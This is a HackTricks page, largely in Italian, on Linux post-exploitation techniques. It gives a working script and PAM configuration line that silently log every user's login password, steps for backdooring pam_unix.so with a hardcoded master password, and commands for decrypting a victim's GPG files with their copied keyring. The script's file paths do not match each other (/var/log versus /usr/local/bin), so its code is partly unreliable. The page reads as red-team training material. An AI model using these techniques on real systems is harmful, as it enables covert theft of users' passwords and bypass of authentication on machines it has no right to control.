Linux Post-Exploitation

Reading time: 5 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Sniffing Logon Passwords with PAM

Configuriamo un modulo PAM per registrare ogni password che ogni utente usa per effettuare il login. Se non sai cos'è PAM controlla:

PAM - Pluggable Authentication Modules

For further details check the original post. This is just a summary:

Technique Overview: Pluggable Authentication Modules (PAM) offrono flessibilità nella gestione dell'autenticazione sui sistemi basati su Unix. Possono migliorare la sicurezza personalizzando i processi di login ma presentano anche rischi se usati in modo improprio. Questa sintesi illustra una tecnica per catturare le credenziali di accesso usando PAM, insieme a strategie di mitigazione.

Capturing Credentials:

  • Uno script bash chiamato toomanysecrets.sh viene creato per registrare i tentativi di login, catturando la data, l'username ($PAM_USER), la password (via stdin) e l'IP dell'host remoto ($PAM_RHOST) in /var/log/toomanysecrets.log.
  • Lo script viene reso eseguibile e integrato nella configurazione PAM (common-auth) usando il modulo pam_exec.so con opzioni per eseguire silenziosamente e esporre il token di autenticazione allo script.
  • L'approccio dimostra come un host Linux compromesso possa essere sfruttato per registrare le credenziali in modo discreto.
bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

For further details check the original post. Questo è solo un riassunto:

Il Pluggable Authentication Module (PAM) è un sistema usato su Linux per l'autenticazione degli utenti. Opera su tre concetti principali: username, password, e service. I file di configurazione per ogni service si trovano nella directory /etc/pam.d/, dove librerie condivise gestiscono l'autenticazione.

Obiettivo: Modificare PAM per permettere l'autenticazione con una password specifica, bypassando la password reale dell'utente. Questo si concentra in particolare sulla libreria condivisa pam_unix.so usata dal file common-auth, che è inclusa da quasi tutti i servizi per la verifica della password.

Passaggi per modificare pam_unix.so:

  1. Individua la direttiva di autenticazione nel file common-auth:
  • La riga responsabile del controllo della password di un utente invoca pam_unix.so.
  1. Modificare il codice sorgente:
  • Aggiungere una condizione nel file sorgente pam_unix_auth.c che conceda l'accesso se viene usata una password predefinita; altrimenti prosegua con il normale processo di autenticazione.
  1. Ricompilare e sostituire la libreria modificata pam_unix.so nella directory appropriata.
  2. Test:
  • L'accesso viene concesso su vari servizi (login, ssh, sudo, su, screensaver) con la password predefinita, mentre i processi di autenticazione normali restano inalterati.

tip

You can automate this process with https://github.com/zephrax/linux-pam-backdoor

Decriptare loot GPG tramite spostamento dell'homedir

Se trovi un file cifrato .gpg e la cartella ~/.gnupg di un utente (pubring, private-keys, trustdb) ma non puoi decriptare a causa di permessi/blocchi dell'homedir di GnuPG, copia il keyring in una posizione scrivibile e usalo come GPG home.

Errori tipici che vedrai senza questo: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key" (perché GPG non può leggere/scrivere l'homedir originale).

Flusso di lavoro:

bash
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg

Se il materiale della chiave segreta è presente in private-keys-v1.d, GPG sbloccherà e decifrerà senza richiedere una passphrase (o la richiederà se la chiave è protetta).

References

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks